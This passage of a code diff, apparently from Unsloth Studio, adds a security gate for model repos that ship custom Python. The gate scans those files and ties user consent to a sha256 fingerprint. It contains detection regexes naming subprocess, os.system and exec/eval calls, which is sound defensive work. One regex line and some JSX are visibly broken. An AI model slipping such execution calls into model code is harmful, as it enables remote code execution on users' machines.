_canon_cache is not _CANON_SENTINEL: + return _canon_cache + + module = None + # Walk up from this file to a repo root that contains scripts/scan_packages.py. + here = pathlib.Path(__file__).resolve() + for parent in here.parents: + candidate = parent / "scripts" / "scan_packages.py" + if candidate.is_file(): + try: + spec = importlib.util.spec_from_file_location("unsloth_scan_packages", candidate) + mod = importlib.util.module_from_spec(spec) + sys.modules.setdefault("unsloth_scan_packages", mod) + spec.loader.exec_module(mod) # type: ignore[union-attr] + if hasattr(mod, "check_py_file"): + module = mod + except Exception as exc: # pragma: no cover - defensive + logger.warning("Could not load canonical scan_packages.py: %s", exc) + break + + if module is None: + logger.warning( + "scripts/scan_packages.py not found; remote-code scan using the " + "vendored fallback patterns." + ) + _canon_cache = module + return module + + +# Model-context-strict patterns. The canonical scanner only flags bare +# ``subprocess``/``eval`` in combinations (common in package build scripts), but a +# model's modeling_*.py never legitimately shells out, so the gate flags them alone +# (e.g. a bare ``subprocess.Popen`` in a config ``__init__``). +_MODEL_STRICT_PATTERNS: tuple[tuple[re.Pattern, str, str], ...] = ( + ( + re.compile( + r"\bsubprocess\s*\.\s*(Popen|call|run|check_call|check_output)\b" + r"|\bos\s*\.\s*(system|popen|exec[lv]p?e?)\b" + ), + "subprocess/os-exec (model code)", + HIGH, + ), + # Bare exec()/eval(); excludes attribute calls like torch ``module.eval()``. + (re.compile(r"(?: " by _extract_evidence. +_EVIDENCE_LINE_RE = re.compile(r"^L(\d+):") + + +def _snippet_rows( + content: str, + line: int, + col: Optional[int] = None, + match_len: int = 0, +) -> list[dict]: + """A `±_SNIPPET_CONTEXT`-line window around `line` (1-based). Rows are + {number, text, is_match}; the matched row adds match_start/match_end for an inline + highlight when a precise column span is known.""" + lines = content.splitlines() + if not lines or line < 1: + return [] + line = min(line, len(lines)) + lo = max(1, line - _SNIPPET_CONTEXT) + hi = min(len(lines), line + _SNIPPET_CONTEXT) + rows: list[dict] = [] + for n in range(lo, hi + 1): + text = lines[n - 1] + clipped = len(text) > _SNIPPET_MAX_LINE + if clipped: + text = text[:_SNIPPET_MAX_LINE] + " ..." + row = {"number": n, "text": text, "is_match": n == line} + if n == line and col is not None and match_len > 0 and not clipped: + row["match_start"] = col + row["match_end"] = min(col + match_len, len(text)) + rows.append(row) + return rows + + +def _attach_location( + content: str, + finding: Finding, + match: "Optional[re.Match]" = None, +) -> None: + """Populate finding.line + finding.snippet. A regex match gives a precise + line+column; canonical findings are located via the `L:` prefix in their evidence.""" + if match is not None: + before = content[: match.start()] + line = before.count("\n") + 1 + col = match.start() - (before.rfind("\n") + 1) + finding.line = line + finding.snippet = _snippet_rows(content, line, col, match.end() - match.start()) + return + first = finding.evidence.splitlines()[0] if finding.evidence else "" + tag = _EVIDENCE_LINE_RE.match(first) + if tag: + line = int(tag.group(1)) + finding.line = line + finding.snippet = _snippet_rows(content, line) + + +def _scan_content(content: str, filename: str) -> list[Finding]: + findings: list[Finding] = [] + + canon = _load_canonical_scanner() + if canon is not None: + # Canonical Finding is (severity, package, filename, check, evidence); adapt to + # the gate's (severity, filename, check, evidence). + for f in canon.check_py_file(content, filename, ""): + finding = Finding(f.severity, f.filename, f.check, (f.evidence or "")[:120]) + _attach_location(content, finding) + findings.append(finding) + else: + for pat, check, sev in _FALLBACK_PATTERNS: + m = pat.search(content) + if m: + finding = Finding(sev, filename, check, m.group(0)[:120]) + _attach_location(content, finding, m) + findings.append(finding) + + # Augment with the model-context-strict patterns the package scanner omits. + have = {f.check for f in findings} + for pat, check, sev in _MODEL_STRICT_PATTERNS: + if check in have: + continue + m = pat.search(content) + if m: + finding = Finding(sev, filename, check, m.group(0)[:120]) + _attach_location(content, finding, m) + findings.append(finding) + return findings + + +def scan_remote_code_files(files: dict[str, str]) -> ScanResult: + """Scan a mapping of {filename: content} and return aggregated findings.""" + result = ScanResult(fingerprint = remote_code_fingerprint(files)) + for name, content in files.items(): + if not name.endswith(".py"): + continue + result.findings.extend(_scan_content(content or "", name)) + return result + + +def remote_code_fingerprint(files: dict[str, str]) -> str: + """Stable sha256 over the (sorted) file contents, for pinning consent.""" + h = hashlib.sha256() + for name in sorted(files): + h.update(name.encode("utf-8")) + h.update(b"\0") + h.update((files[name] or "").encode("utf-8")) + h.update(b"\0") + return h.hexdigest() + + +def repo_remote_code_files(model_name: str, hf_token: Optional[str] = None) -> dict[str, str]: + """Download a repo's executable ``.py`` (auto_map targets + modeling/config). + + Returns {filename: content}. An EMPTY dict means the repo ships no executable ``.py`` + (trust_remote_code is a no-op). Raises ``RemoteCodeUnscannable`` when code is present + but cannot be fully fetched/listed (offline/gated/404/listing failure), so the caller + fails closed rather than fingerprint a partial view of code transformers would run in + full. The empty-vs-raise split lets the gate allow a code-free repo while still + blocking unscannable code. + """ + import json + from pathlib import Path + + files: dict[str, str] = {} + try: + from utils.paths import is_local_path, normalize_path + + if is_local_path(model_name): + root = Path(normalize_path(model_name)).expanduser() + # Walk ALL .py, not just the auto_map entry's static import closure. This is + # DELIBERATE (see the remote-branch note): the entry can reach a sibling via + # an absolute import, importlib, or exec, which a relative-import closure + # misses, so closure-only scanning is a real bypass. Broad scan never + # under-scans; the cost is a benign script can over-block, the safe direction + # for an RCE gate (HIGH stays approvable; only CRITICAL hard-blocks). + for p in root.rglob("*.py"): + if p.is_file(): + files[str(p.relative_to(root))] = p.read_text(errors = "replace") + # A local config can still point auto_map at an EXTERNAL Hub repo + # (owner/name--module.Class) that executes on load, so fetch it. Every config + # that can declare auto_map is checked, so a custom processor's external code + # is not missed. + ext_refs = set() + for name in REMOTE_CODE_CONFIG_FILES: + p = root / name + if p.is_file(): + try: + ext_refs |= _auto_map_refs(json.loads(p.read_text())) + except Exception: + pass + if not _add_external_refs(files, ext_refs, hf_token, model_name): + raise RemoteCodeUnscannable(f"{model_name}: external auto_map code unreachable") + return files + + from huggingface_hub import hf_hub_download, list_repo_files + from huggingface_hub.utils import EntryNotFoundError + + # Collect auto_map refs from EVERY config that can declare one. A 404 + # (EntryNotFoundError) means the config is absent -> skip; any other failure is + # transient/auth and could hide an auto_map, so fail closed (unscannable). + refs = set() + for cfg_name in REMOTE_CODE_CONFIG_FILES: + try: + cfg_path = hf_hub_download(model_name, cfg_name, token = hf_token) + except EntryNotFoundError: + continue + except Exception as exc: + raise RemoteCodeUnscannable( + f"{model_name}: config {cfg_name} could not be fetched ({exc})" + ) from exc + try: + refs |= _auto_map_refs(json.loads(Path(cfg_path).read_text())) + except Exception: + pass + own_refs = {fn for repo, fn in refs if repo is None} + # The full file list catches helper .py the auto_map code imports but does not + # name. If we cannot list the repo, an imported module could be missed and the + # fingerprint cover less than transformers runs, so fail closed (unscannable). + try: + repo_files = list_repo_files(model_name, token = hf_token) + except Exception as exc: + raise RemoteCodeUnscannable(f"{model_name}: could not list repo files ({exc})") from exc + repo_file_set = set(repo_files) + # Scan every present .py PLUS own-repo auto_map targets that ACTUALLY EXIST in + # this revision. Scanning EVERY .py (not just the closure) is DELIBERATE: the + # entry can reach a sibling via absolute import / importlib / exec, which a + # relative-import closure misses, so closure-only scanning is a real bypass. + # Broad scan never under-scans; the cost is a benign script can over-block, the + # safe direction for an RCE gate (HIGH approvable; only CRITICAL hard-blocks). An + # auto_map target absent from the listing is a STALE ref (an older config naming a + # since-removed file, e.g. unsloth/PaddleOCR-VL names processing_ppocrvl.py but + # ships processing_paddleocr_vl.py). transformers cannot execute an absent file, + # so drop the stale ref rather than fail closed; present .py are still fully + # scanned. This also absorbs a mis-derived dotted name (sub.mod.py vs sub/mod.py): + # the bad name drops as stale while the real present file is scanned. + present_py = {f for f in repo_files if f.endswith(".py")} + stale_refs = own_refs - repo_file_set + for fn in sorted(stale_refs): + logger.info( + "repo_remote_code_files(%s): ignoring stale own-repo auto_map target " + "%s (absent from the repo listing; it cannot execute)", + model_name, + fn, + ) + wanted = present_py | (own_refs & repo_file_set) + for fn in sorted(wanted): + try: + fp = hf_hub_download(model_name, fn, token = hf_token) + except Exception as exc: + # A .py CONFIRMED PRESENT could not be fetched. A partial set would + # fingerprint "clean" while transformers later runs this file, so fail + # closed. (Stale/absent refs were dropped above, so this only fires on a + # present-file fetch failure.) + raise RemoteCodeUnscannable( + f"{model_name}: present file {fn} could not be fetched ({exc})" + ) from exc + files[fn] = Path(fp).read_text(errors = "replace") + # Code referenced from another repo executes too: scan it or fail closed. + if not _add_external_refs(files, refs, hf_token, model_name): + raise RemoteCodeUnscannable(f"{model_name}: external auto_map code unreachable") + except RemoteCodeUnscannable: + logger.warning("repo_remote_code_files(%s): unscannable; failing closed", model_name) + raise + except Exception as exc: + # An unexpected error mid-scan means we could not complete it -> unscannable. + raise RemoteCodeUnscannable(f"{model_name}: scan failed ({exc})") from exc + # An empty dict here means the listing succeeded and the repo ships no executable .py + # (nor fetchable external refs) -> trust_remote_code is a no-op for the caller. + return files + + +def _iter_auto_map_strings(value): + """Yield every string class-ref inside one ``auto_map`` value. + + A value is a bare string (``"modeling_x.Cls"``) or a list/tuple (transformers encodes + a tokenizer as ``"AutoTokenizer": [slow, fast]``, possibly nested or with nulls). + Flatten all forms so external tokenizer code in the list shape is scanned. + """ + if isinstance(value, str): + yield value + elif isinstance(value, (list, tuple, set)): + for item in value: + yield from _iter_auto_map_strings(item) + elif isinstance(value, dict): + for item in value.values(): + yield from _iter_auto_map_strings(item) + + +def _auto_map_refs(cfg: dict) -> set: + """``(repo, filename)`` pairs referenced by config auto_map. + + ``repo`` is ``None`` for own-repo code. An external ``owner/name--module.Class`` ref + (transformers' cross-repo form) yields ``("owner/name", "module.py")`` so cross-repo + code is scanned + fingerprinted too. + """ + out = set() + am = cfg.get("auto_map") or {} + if isinstance(am, dict): + for value in am.values(): + # A value may be a string OR a [slow, fast] list (tokenizers); cover both. + for ref in _iter_auto_map_strings(value): + # ref like "modeling_deepseekocr.Cls" or "owner/name--modeling.Cls" + if "." not in ref: + continue + module = ref.rsplit(".", 1)[0] # drop trailing .ClassName + if "--" in module: + repo, mod = module.split("--", 1) + out.add((repo or None, mod + ".py")) + else: + out.add((None, module + ".py")) + return out + + +def _auto_map_py(cfg: dict) -> set[str]: + """Own-repo ``.py`` filenames referenced by auto_map (external refs excluded).""" + return {fn for repo, fn in _auto_map_refs(cfg) if repo is None} + + +def external_auto_map_repos(model_name: str, hf_token: Optional[str] = None) -> set: + """External Hub repos referenced by any of this model's auto_map configs. + + The ``owner/name`` repos ``_add_external_refs`` downloads. The scan route uses this so + declining consent purges them too, not leaving untrusted external code cached. + Best-effort, config/metadata-only: returns whatever can be read, never raises. + """ + repos: set = set() + try: + import json + from pathlib import Path + + from utils.paths import is_local_path, normalize_path + + if is_local_path(model_name): + root = Path(normalize_path(model_name)).expanduser() + for cfg_name in REMOTE_CODE_CONFIG_FILES: + p = root / cfg_name + if not p.is_file(): + continue + try: + refs = _auto_map_refs(json.loads(p.read_text())) + except Exception: + continue + repos.update(repo for repo, _fn in refs if repo) + return repos + + from huggingface_hub import hf_hub_download + from huggingface_hub.utils import EntryNotFoundError + + for cfg_name in REMOTE_CODE_CONFIG_FILES: + try: + cfg_path = hf_hub_download(model_name, cfg_name, token = hf_token) + except EntryNotFoundError: + continue + except Exception: + continue + try: + refs = _auto_map_refs(json.loads(Path(cfg_path).read_text())) + except Exception: + continue + repos.update(repo for repo, _fn in refs if repo) + except Exception: + return repos + return repos + + +def _add_external_refs(files: dict, refs, hf_token, model_name: str) -> bool: + """Download external-repo auto_map code into ``files`` (keyed ``repo--file``). + + transformers fetches the entry file AND its relative imports from the same external + repo, so scanning only the entry would miss code in a ``helper.py`` it imports. Mirror + the own-repo path: enumerate each external repo's ``.py`` and scan the whole set (plus + the referenced entry files). Returns False if any external repo cannot be listed or a + file cannot be fetched, so the caller fails closed. + """ + from pathlib import Path + + from huggingface_hub import hf_hub_download, list_repo_files + + # Group the explicit entry refs by external repo. + entries: dict = {} + for repo, fn in refs: + if repo is None: + continue + entries.setdefault(repo, set()).add(fn) + + for repo, entry_files in entries.items(): + try: + repo_files = list_repo_files(repo, token = hf_token) + except Exception as exc: + logger.warning( + "repo_remote_code_files(%s): external repo %s unlistable (%s); failing closed", + model_name, + repo, + exc, + ) + return False + # The loader's executable closure = every present .py plus any referenced entry + # file. With a REAL (non-empty) listing, present_py covers the code, so an entry + # ref absent from it is stale/mis-derived and is dropped rather than failing + # closed (like the own-repo path). With an EMPTY listing we cannot prove the ref + # stale, so keep fetching it and fail closed if unreachable; never under-scan. A + # PRESENT file that cannot be fetched still fails closed below. + repo_file_set = set(repo_files) + present_py = {f for f in repo_files if f.endswith(".py")} + if repo_file_set: + for fn in sorted(set(entry_files) - repo_file_set): + logger.info( + "repo_remote_code_files(%s): ignoring stale external auto_map target " + "%s:%s (absent from the repo listing; it cannot execute)", + model_name, + repo, + fn, + ) + wanted = present_py | (set(entry_files) & repo_file_set) + else: + wanted = present_py | set(entry_files) + for fn in sorted(wanted): + try: + fp = hf_hub_download(repo, fn, token = hf_token) + except Exception as exc: + logger.warning( + "repo_remote_code_files(%s): external %s:%s unscannable (%s)", + model_name, + repo, + fn, + exc, + ) + return False + files[f"{repo}--{fn}"] = Path(fp).read_text(errors = "replace") + return True diff --git a/studio/backend/utils/security/trusted_org.py b/studio/backend/utils/security/trusted_org.py new file mode 100644 index 0000000000..968a740eea --- /dev/null +++ b/studio/backend/utils/security/trusted_org.py @@ -0,0 +1,120 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Trusted-org checks for the ``trust_remote_code`` auto-enable paths. + +A bare ``name.startswith("unsloth/")`` is spoofable by a local path like +``./unsloth/evil``. ``is_trusted_org_repo`` rejects local paths, requires an +``org/repo`` under a trusted org, and (online) confirms via the Hub. Fails CLOSED +on any uncertainty and never raises; a False just means "do not auto-enable". +""" + +from __future__ import annotations + +import hashlib +import os +from typing import Optional + +from loggers import get_logger +from utils.paths import is_local_path + +logger = get_logger(__name__) + +# Orgs we auto-enable remote code for. +TRUSTED_ORGS: frozenset[str] = frozenset({"unsloth", "nvidia"}) + +# Keyed on (name, verify_remote, token) so an unauthenticated failure can't poison +# a later authenticated lookup; token is hashed, never stored raw. +_verdict_cache: dict[tuple[str, bool, str], bool] = {} + + +def _token_key(hf_token: Optional[str]) -> str: + """Non-reversible cache discriminator; empty when no token, never the raw token.""" + if not hf_token: + return "" + return hashlib.sha256(hf_token.encode("utf-8")).hexdigest()[:12] + + +def _env_offline() -> bool: + return os.environ.get("HF_HUB_OFFLINE", "").lower() in ("1", "true", "yes") or os.environ.get( + "TRANSFORMERS_OFFLINE", "" + ).lower() in ("1", "true", "yes") + + +def is_trusted_org_repo( + name: str, + hf_token: Optional[str] = None, + *, + verify_remote: bool = True, +) -> bool: + """True only if *name* is a genuine HF repo under a trusted org. Fails closed + (local paths, malformed names, untrusted namespaces, Hub errors); never raises. + Offline trusts the namespace shape, since the Hub is unreachable by design. + """ + if not name or not isinstance(name, str): + return False + + cache_key = (name, verify_remote, _token_key(hf_token)) + if cache_key in _verdict_cache: + return _verdict_cache[cache_key] + + verdict = _evaluate(name, hf_token, verify_remote) + _verdict_cache[cache_key] = verdict + return verdict + + +def _namespace(name: str) -> Optional[str]: + """Lowercased org of an ``org/repo`` id, else None.""" + parts = name.split("/") + if len(parts) != 2 or not parts[0] or not parts[1]: + return None + return parts[0].lower() + + +def _evaluate(name: str, hf_token: Optional[str], verify_remote: bool) -> bool: + # Local paths are never a trusted remote repo (the spoof this guards against). + try: + if is_local_path(name): + logger.debug("is_trusted_org_repo(%s): local path -> not trusted", name) + return False + except Exception: + return False + + ns = _namespace(name) + if ns is None or ns not in TRUSTED_ORGS: + return False + + # Offline: trust the shape (Hub intentionally unreachable). + if not verify_remote or _env_offline(): + return True + + # Online: confirm the id resolves to a trusted-org repo. + try: + from huggingface_hub import HfApi + + info = HfApi().model_info(name, token = hf_token) + resolved_id = getattr(info, "id", None) or name + resolved_ns = _namespace(resolved_id) + author = getattr(info, "author", None) + if resolved_ns in TRUSTED_ORGS: + return True + if author and str(author).lower() in TRUSTED_ORGS: + return True + logger.warning( + "is_trusted_org_repo(%s): resolved id %r not under a trusted org", + name, + resolved_id, + ) + return False + except Exception as exc: # network/404/auth -> fail closed + logger.warning( + "is_trusted_org_repo(%s): Hub verification failed (%s) -> not trusted", + name, + exc, + ) + return False + + +def clear_cache() -> None: + """Test helper: drop the memoized verdicts.""" + _verdict_cache.clear() diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py index 87a6726d33..a20fefbc39 100644 --- a/studio/backend/utils/transformers_version.py +++ b/studio/backend/utils/transformers_version.py @@ -111,8 +111,8 @@ _TRANSFORMERS_5_TOKENIZER_CLASSES: set[str] = { # Cache for dynamic tokenizer_config.json lookups (avoids repeated fetches). _tokenizer_class_cache: dict[str, bool] = {} -# Cache for dynamic config.json lookups (architecture/model_type checks). -_config_json_cache: dict[str, dict | None] = {} +# config.json cache keyed on (model_name, token-hash) so authed/unauthed reads stay separate. +_config_json_cache: dict[tuple[str, str | None], dict | None] = {} _config_needs_510_cache: dict[str, bool] = {} _config_needs_550_cache: dict[str, bool] = {} @@ -328,39 +328,51 @@ def _check_tokenizer_config_needs_v5(model_name: str) -> bool: return False -def _load_config_json(model_name: str) -> dict | None: - """Return parsed ``config.json`` for *model_name*, checking local files first.""" - if model_name in _config_json_cache: - return _config_json_cache[model_name] +def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | None: + """Return parsed ``config.json`` for *model_name*, checking local files first. + + ``hf_token`` authenticates the raw fetch so gated/private repos resolve. The + cache is keyed on the token so an unauthenticated miss never poisons a later + authenticated read. + """ + import hashlib + + tok = hashlib.sha256(hf_token.encode()).hexdigest()[:16] if hf_token else None + cache_key = (model_name, tok) + if cache_key in _config_json_cache: + return _config_json_cache[cache_key] local_cfg = Path(model_name) / "config.json" if local_cfg.is_file(): try: with open(local_cfg) as f: cfg = json.load(f) - _config_json_cache[model_name] = cfg + _config_json_cache[cache_key] = cfg return cfg except Exception as exc: logger.debug("Could not read %s: %s", local_cfg, exc) - _config_json_cache[model_name] = None + _config_json_cache[cache_key] = None return None if _env_offline(): - _config_json_cache[model_name] = None + _config_json_cache[cache_key] = None return None import urllib.request url = f"https://huggingface.co/{model_name}/raw/main/config.json" + headers = {"User-Agent": "unsloth-studio"} + if hf_token: + headers["Authorization"] = f"Bearer {hf_token}" try: - req = urllib.request.Request(url, headers = {"User-Agent": "unsloth-studio"}) + req = urllib.request.Request(url, headers = headers) with urllib.request.urlopen(req, timeout = 10) as resp: cfg = json.loads(resp.read().decode()) - _config_json_cache[model_name] = cfg + _config_json_cache[cache_key] = cfg return cfg except Exception as exc: logger.debug("Could not fetch config.json for '%s': %s", model_name, exc) - _config_json_cache[model_name] = None + _config_json_cache[cache_key] = None return None diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx index 7fb9380037..77b819aa63 100644 --- a/studio/frontend/src/app/routes/__root.tsx +++ b/studio/frontend/src/app/routes/__root.tsx @@ -6,6 +6,7 @@ import { Navbar } from "@/components/navbar"; import { fetchDeviceType, usePlatformStore } from "@/config/env"; import { SidebarInset, SidebarProvider } from "@/components/ui/sidebar"; import { SettingsDialog, useSettingsDialogStore } from "@/features/settings"; +import { RemoteCodeConsentDialog } from "@/features/security"; import { clearNewChatDraft, useChatRuntimeStore } from "@/features/chat"; import { useTrainingUnloadGuard } from "@/features/training"; import { useSidebarPin } from "@/hooks/use-sidebar-pin"; @@ -142,6 +143,7 @@ function RootLayout() { return ( + {hideNavbar ? (
}> diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts index 96cb1473bd..91bfe56120 100644 --- a/studio/frontend/src/features/chat/api/chat-adapter.ts +++ b/studio/frontend/src/features/chat/api/chat-adapter.ts @@ -1215,7 +1215,12 @@ async function autoLoadSmallestModel(): Promise<{ load_in_4bit: true, trust_remote_code: trustRemoteCode, }); - if (validation.requires_trust_remote_code && !trustRemoteCode) { + // Background auto-load never runs a repo's custom code or loads Hub-flagged unsafe + // files on its own; both are deferred to the explicit consent dialog instead. + if ( + validation.requires_trust_remote_code || + validation.requires_security_review + ) { blockedByTrustRemoteCode = true; return false; } @@ -1567,11 +1572,11 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter { if (!loaded) { toast.error( blockedByTrustRemoteCode - ? "Enable custom code to auto-load this model" + ? "This model needs custom code approval" : "No model loaded", { description: blockedByTrustRemoteCode - ? 'Turn on "Enable custom code" in Chat Settings, or pick another model in the top bar.' + ? "Select it from the top bar to review and approve its custom code, or pick another model." : "Pick a model in the top bar, then retry.", }, ); diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx index 7e5b92ffb6..b10c50262d 100644 --- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx +++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx @@ -530,9 +530,6 @@ export function ChatSettingsPanel({ const loadedSpecDraftNMax = useChatRuntimeStore( (s) => s.loadedSpecDraftNMax, ); - const modelRequiresTrustRemoteCode = useChatRuntimeStore( - (s) => s.modelRequiresTrustRemoteCode, - ); const currentCheckpoint = params.checkpoint; const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength); const ggufMaxContextLength = useChatRuntimeStore( @@ -635,10 +632,6 @@ export function ChatSettingsPanel({ [activePreset, hasUnsavedPresetChanges, presetNameInput, presets], ); const systemPromptEditorDirty = systemPromptDraft !== params.systemPrompt; - const trustRemoteCodeMissing = - Boolean(currentCheckpoint) && - modelRequiresTrustRemoteCode && - !(params.trustRemoteCode ?? false); const showPromptCacheTtlControl = Boolean( activeExternalProvider && supportsProviderPromptCacheTtl(activeExternalProvider.providerType), @@ -1094,38 +1087,8 @@ export function ChatSettingsPanel({ )} - {!isGguf && params.checkpoint && ( - <> -
-
- - Enable custom code - - - Run custom Python from the model repo (e.g. Nemotron). - Only enable for trusted sources. - -
- -
- {trustRemoteCodeMissing && ( - - - Keep custom code enabled for this model - - - This model requires custom code to load. You can edit the - toggle, but loading will stay blocked until it is turned - back on. - - - )} - - )} + {/* No persistent "enable custom code" toggle: it is consented per model + via the load-time review dialog. */} {/* Apply/Reset belongs to the model-reload settings above (context length, KV cache, speculative decoding). Render it here, before the Chat Template row, so it never reads as attached to Chat diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts index a948d9e39d..7bb8d71a71 100644 --- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts +++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts @@ -3,6 +3,7 @@ import { createElement, useCallback, useRef, useState } from "react"; import { toast } from "@/lib/toast"; +import { confirmRemoteCodeIfNeeded } from "@/features/security"; import { consumeNativePathToken } from "@/features/native-intents/api"; import { notifyNative, @@ -68,6 +69,16 @@ export type SelectedModelInput = { keepSpeculative?: boolean; }; +// Approved fingerprints by checkpoint, so a rollback after a failed switch can resend +// the pinned approval the worker requires instead of being blocked. +const approvedRemoteCodeFingerprints = new Map(); +function rememberApprovedRemoteCode( + checkpoint: string, + fingerprint: string | null, +): void { + if (fingerprint) approvedRemoteCodeFingerprints.set(checkpoint, fingerprint); +} + const MODEL_LOAD_TOAST_CLASSNAMES = { toast: "chat-model-load-toast items-center gap-2.5", content: "gap-0.5 flex-1 min-w-0", @@ -221,7 +232,7 @@ function toLoraSummary(lora: { } function getTrustRemoteCodeRequiredMessage(modelName: string): string { - return `${modelName} needs custom code enabled to load. Turn on "Enable custom code" in Chat Settings, then try again.`; + return `${modelName} was not loaded because its custom code was not approved. Load it again to review the code and approve it.`; } export function useChatModelRuntime() { @@ -481,7 +492,8 @@ export function useChatModelRuntime() { const currentCheckpoint = useChatRuntimeStore.getState().params.checkpoint; const stateBeforeUnload = useChatRuntimeStore.getState(); - const trustRemoteCode = stateBeforeUnload.params.trustRemoteCode ?? false; + let trustRemoteCode = stateBeforeUnload.params.trustRemoteCode ?? false; + let approvedRemoteCodeFingerprint: string | null = null; const maxSeqLength = stateBeforeUnload.params.maxSeqLength; const previousIsGguf = previousModel?.isGguf === true @@ -510,8 +522,25 @@ export function useChatModelRuntime() { is_lora: isLora, gguf_variant: ggufVariant ?? null, }); - if (validation.requires_trust_remote_code && !trustRemoteCode) { - throw new Error(getTrustRemoteCodeRequiredMessage(displayName)); + // Open the consent dialog when the model needs custom-code consent or has a + // flagged unsafe file. Fires even when trustRemoteCode is preset on, since the + // worker requires a matching fingerprint that only the dialog produces. + if ( + validation.requires_trust_remote_code + || validation.requires_security_review + ) { + const approved = await confirmRemoteCodeIfNeeded({ + modelName: modelId, + hfToken, + requiresTrustRemoteCode: true, + onApprove: (fp) => { + trustRemoteCode = true; + approvedRemoteCodeFingerprint = fp; + }, + }); + if (!approved) { + throw new Error(getTrustRemoteCodeRequiredMessage(displayName)); + } } if (abortCtrl.signal.aborted) throw new Error("Cancelled"); const loadNativePathLease = nativePathToken @@ -575,6 +604,7 @@ export function useChatModelRuntime() { is_lora: isLora, gguf_variant: ggufVariant ?? null, trust_remote_code: trustRemoteCode, + approved_remote_code_fingerprint: approvedRemoteCodeFingerprint, chat_template_override: effectiveChatTemplateOverride, cache_type_kv: kvCacheDtype, speculative_type: speculativeType, @@ -646,6 +676,7 @@ export function useChatModelRuntime() { : reloadingSameModel && supportsReasoning ? stateBeforeUnload.reasoningEnabled : reasoningDefault; + rememberApprovedRemoteCode(modelId, approvedRemoteCodeFingerprint); useChatRuntimeStore.setState({ ggufContextLength: nativeCtx, ggufMaxContextLength, @@ -746,6 +777,9 @@ export function useChatModelRuntime() { gguf_variant: previousVariant, trust_remote_code: previousModelRequiresTrustRemoteCode || trustRemoteCode, + // Resend the previous model's pinned approval so restoring it is not re-blocked. + approved_remote_code_fingerprint: + approvedRemoteCodeFingerprints.get(previousCheckpoint) ?? null, // Restore the previous model in the split mode it was running, // not the default layer split. tensor_parallel: stateBeforeUnload.loadedTensorParallel ?? false, diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx index cbfc42c6ae..8ad355344c 100644 --- a/studio/frontend/src/features/chat/shared-composer.tsx +++ b/studio/frontend/src/features/chat/shared-composer.tsx @@ -63,6 +63,7 @@ import { BypassPermissionsMenuItem } from "./bypass-permissions-menu-item"; import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button"; import { NewProjectDialog } from "./components/new-project-dialog"; import { useChatProjects } from "./hooks/use-chat-projects"; +import { confirmRemoteCodeIfNeeded } from "@/features/security"; import { loadModel, validateModel } from "./api/chat-api"; import { parseExternalModelId, @@ -932,24 +933,43 @@ export function SharedComposer({ sel: CompareModelSelection, ): Promise { const currentStore = useChatRuntimeStore.getState(); + let loadTrustRemoteCode = trustRemoteCode; + let approvedRemoteCodeFingerprint: string | null = null; const isAlreadyActive = currentStore.params.checkpoint === sel.id && (currentStore.activeGgufVariant ?? null) === (sel.ggufVariant ?? null); - if (!isAlreadyActive) { - const validation = await validateModel({ - model_path: sel.id, - hf_token: currentStore.hfToken || null, - max_seq_length: maxSeqLength, - load_in_4bit: true, - is_lora: sel.isLora, - gguf_variant: sel.ggufVariant ?? null, - trust_remote_code: trustRemoteCode, - chat_template_override: effectiveChatTemplateOverride, + // Already loaded (gate passed at first load): skip a redundant reload that would + // re-trigger the gate without the approval fingerprint and fail for HIGH custom code. + if (isAlreadyActive) { + return "ready"; + } + const validation = await validateModel({ + model_path: sel.id, + hf_token: currentStore.hfToken || null, + max_seq_length: maxSeqLength, + load_in_4bit: true, + is_lora: sel.isLora, + gguf_variant: sel.ggufVariant ?? null, + trust_remote_code: loadTrustRemoteCode, + chat_template_override: effectiveChatTemplateOverride, + }); + if ( + validation.requires_trust_remote_code || + validation.requires_security_review + ) { + const approved = await confirmRemoteCodeIfNeeded({ + modelName: sel.id, + hfToken: currentStore.hfToken || null, + requiresTrustRemoteCode: true, + onApprove: (fp) => { + loadTrustRemoteCode = true; + approvedRemoteCodeFingerprint = fp; + }, }); - if (validation.requires_trust_remote_code && !trustRemoteCode) { + if (!approved) { throw new Error( - `${modelDisplayName(sel.id)} needs custom code enabled to load. Turn on "Enable custom code" in Chat Settings, then try again.`, + `${modelDisplayName(sel.id)} needs custom code approval to load.`, ); } } @@ -960,7 +980,8 @@ export function SharedComposer({ load_in_4bit: true, is_lora: sel.isLora, gguf_variant: sel.ggufVariant ?? null, - trust_remote_code: trustRemoteCode, + trust_remote_code: loadTrustRemoteCode, + approved_remote_code_fingerprint: approvedRemoteCodeFingerprint, chat_template_override: effectiveChatTemplateOverride, speculative_type: specSettings.speculativeType, spec_draft_n_max: specSettings.specDraftNMax, diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts index 556caa0617..8fe0a0ef12 100644 --- a/studio/frontend/src/features/chat/types/api.ts +++ b/studio/frontend/src/features/chat/types/api.ts @@ -41,6 +41,8 @@ export interface LoadModelRequest { gguf_variant?: string | null; /** Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust. */ trust_remote_code?: boolean; + /** sha256 fingerprint pinning user approval of this exact custom-code version. */ + approved_remote_code_fingerprint?: string | null; chat_template_override?: string | null; cache_type_kv?: string | null; /** @@ -72,6 +74,8 @@ export interface ValidateModelResponse { is_lora?: boolean; is_vision?: boolean; requires_trust_remote_code?: boolean; + // HF flagged unsafe files, so the load is hard-blocked pending dialog review. + requires_security_review?: boolean; /** Native context length from the local GGUF header; null until 